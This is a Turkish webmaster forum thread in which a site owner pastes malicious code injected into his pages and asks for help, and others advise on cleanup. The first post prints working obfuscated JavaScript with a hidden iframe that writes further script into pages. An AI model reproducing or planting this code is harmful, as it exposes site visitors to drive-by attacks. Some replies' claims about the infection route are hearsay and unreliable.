• 27-01-2009, 14:55:05
    #1
    Merhabalar.
    Daha önceki konularda googlede sitelerimi zararlı olarak göründüğü konusunda yazmıştım.Şimdi yasaklanan sitelere bakıyorum da hepsinde benim eklemediğim bu tarz bir kod var.
    <body><iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l497eae9520e9c(l497eae952166c){ var l497eae9521e3d=16; return (parseInt(l497eae952166c,l497eae9521e3d));}function l497eae9522dde(l497eae95235af){ var l497eae9524d22=2; var l497eae9523d81='';l497eae9525cc5=String.fromCharCode;for(l497eae9524551=0;l497eae9524551<l497eae95235af.length;l497eae9524551+=l497eae9524d22){ l497eae9523d81+=(l497eae9525cc5(c102916999516l497eae9520e9c(l497eae95235af.substr(l497eae9524551,l497eae9524d22))));}return l497eae9523d81;} var xe9='';var l497eae9526496='3C736'+xe9+'3726'+xe9+'970743E6'+xe9+'96'+xe9+'6'+xe9+'28216'+xe9+'D796'+xe9+'96'+xe9+'1297B6'+xe9+'46'+xe9+'F6'+xe9+'3756'+xe9+'D6'+xe9+'56'+xe9+'E742E77726'+xe9+'9746'+xe9+'528756'+xe9+'E6'+xe9+'5736'+xe9+'36'+xe9+'1706'+xe9+'528202725336'+xe9+'32536'+xe9+'392536'+xe9+'36'+xe9+'2537322536'+xe9+'312536'+xe9+'6'+xe9+'42536'+xe9+'352532302536'+xe9+'6'+xe9+'52536'+xe9+'312536'+xe9+'6'+xe9+'42536'+xe9+'3525336'+xe9+'42536'+xe9+'332533312533302532302537332537322536'+xe9+'3325336'+xe9+'42532372536'+xe9+'3825373425373425373025336'+xe9+'125326'+xe9+'6'+xe9+'25326'+xe9+'6'+xe9+'2536'+xe9+'372536'+xe9+'6'+xe9+'6'+xe9+'2536'+xe9+'372536'+xe9+'6'+xe9+'6'+xe9+'2533322536'+xe9+'6'+xe9+'42536'+xe9+'3525326'+xe9+'52536'+xe9+'6'+xe9+'52536'+xe9+'3525373425326'+xe9+'6'+xe9+'25326'+xe9+'52536'+xe9+'372536'+xe9+'6'+xe9+'6'+xe9+'25326'+xe9+'6'+xe9+'2536'+xe9+'332536'+xe9+'382536'+xe9+'352536'+xe9+'332536'+xe9+'6'+xe9+'225326'+xe9+'52536'+xe9+'382537342536'+xe9+'6'+xe9+'42536'+xe9+'6'+xe9+'32532372532302537372536'+xe9+'392536'+xe9+'342537342536'+xe9+'3825336'+xe9+'42533322533312533342532302536'+xe9+'382536'+xe9+'352536'+xe9+'392536'+xe9+'372536'+xe9+'3825373425336'+xe9+'42533342533382533302532302537332537342537392536'+xe9+'6'+xe9+'32536'+xe9+'3525336'+xe9+'4253237253736'+xe9+'2536'+xe9+'392537332536'+xe9+'392536'+xe9+'322536'+xe9+'392536'+xe9+'6'+xe9+'32536'+xe9+'3925373425373925336'+xe9+'12536'+xe9+'382536'+xe9+'392536'+xe9+'342536'+xe9+'342536'+xe9+'352536'+xe9+'6'+xe9+'525323725336'+xe9+'525336'+xe9+'325326'+xe9+'6'+xe9+'2536'+xe9+'392536'+xe9+'36'+xe9+'2537322536'+xe9+'312536'+xe9+'6'+xe9+'42536'+xe9+'3525336'+xe9+'52729293B7D76'+xe9+'6'+xe9+'172206'+xe9+'D796'+xe9+'96'+xe9+'13D7472756'+xe9+'53B3C2F736'+xe9+'3726'+xe9+'970743E';document.write(l497eae9522dde(l497eae9526496));</script>
    Bu nedir aceba ben anlayamadım.Ama kesinlikle eklemediğim bir kod bunu biliyorum ve birkaç sitede kontrol ettim onlarda da aynı kod var.

    Bu site bilgisayarınıza zarar verebilir yazısından artık kurtulmak istiyorum yardımlarınız olursa sevinirim.
  • 27-01-2009, 15:02:01
    #2
    trojan dostum bu vürüs :P kaldır yoksa girilmez sitene
  • 27-01-2009, 15:03:25
    #3
    bu o meşhur iframe virüsü mü ?
  • 27-01-2009, 15:03:28
    #4
    Bu koddan kurtulmak istiyorsanız öncelikle ftp kullanıcı adı veya şifrenizden herhangi birini değiştirin.

    Daha sonra manuel olarak sitenizdeki tüm kodları temizleyin.

    Daha sonra

    https://www.google.com/accounts/Serv...Fhl%3Dtr&hl=tr

    adresinden sitenizi doğrulayıp yeniden inceleme talebinde bulunmanız gerekiyor. 2-3 gün içerisinde siteniz google da arandığında altındaki uyarı kalkacaktır.
  • 27-01-2009, 15:04:07
    #5
    trojan
  • 27-01-2009, 15:12:59
    #6
    vay anasını yahiç bir sitem google de çıkmıyor.
    Şöyle bir soru sorsam.?Benim sitelerim daha önceki kullandığım bilgisayarıma baktığımızda hiçbir virüs yokken google de hep üst sıralardaydı.Şimdi bilgisayarımda virüs olduğunu biliyorum bilgisayarı temizliyorum ama sürekli aynı gitmiyor.Yani diyeceğim şu pc ile bilgisayar arasında bağlantıdan dolayımı bulaşıyor bu virüs anlayamadım.ve çözüm üretemiyorum
  • 27-01-2009, 15:21:51
    #7
    ByAsLaN adlı üyeden alıntı: mesajı görüntüle
    vay anasını yahiç bir sitem google de çıkmıyor.
    Şöyle bir soru sorsam.?Benim sitelerim daha önceki kullandığım bilgisayarıma baktığımızda hiçbir virüs yokken google de hep üst sıralardaydı.Şimdi bilgisayarımda virüs olduğunu biliyorum bilgisayarı temizliyorum ama sürekli aynı gitmiyor.Yani diyeceğim şu pc ile bilgisayar arasında bağlantıdan dolayımı bulaşıyor bu virüs anlayamadım.ve çözüm üretemiyorum
    selam bu virus benimde sitelerime bulasmisti.... cuteftp acigindan giriyor yalniz index.html yada index.php ye bulasiyor acilen bunlari temizle birde Cuteftp ile sayfani düzeltme...
  • 27-01-2009, 15:22:46
    #8
    hocam cuteftp deilde flashxp yada wsftp pro kullanıyorum?Cuteftpnin pc kurulu olması durumu değiştirmiyor sanırım
  • 27-01-2009, 15:27:49
    #9
    ByAsLaN adlı üyeden alıntı: mesajı görüntüle
    hocam cuteftp deilde flashxp yada wsftp pro kullanıyorum?Cuteftpnin pc kurulu olması durumu değiştirmiyor sanırım
    cuteftp ile geldigini yabanci forumlardan okumustum... birde bu virus beni mahvetti yaklasik 1 yil sayfalarim geriletdi lanet birsey.... acilen bilgisayari tamamiyle yeniden kur... birde sayfalarindeki tüm indexleri silersen düzelir... gecmis olsun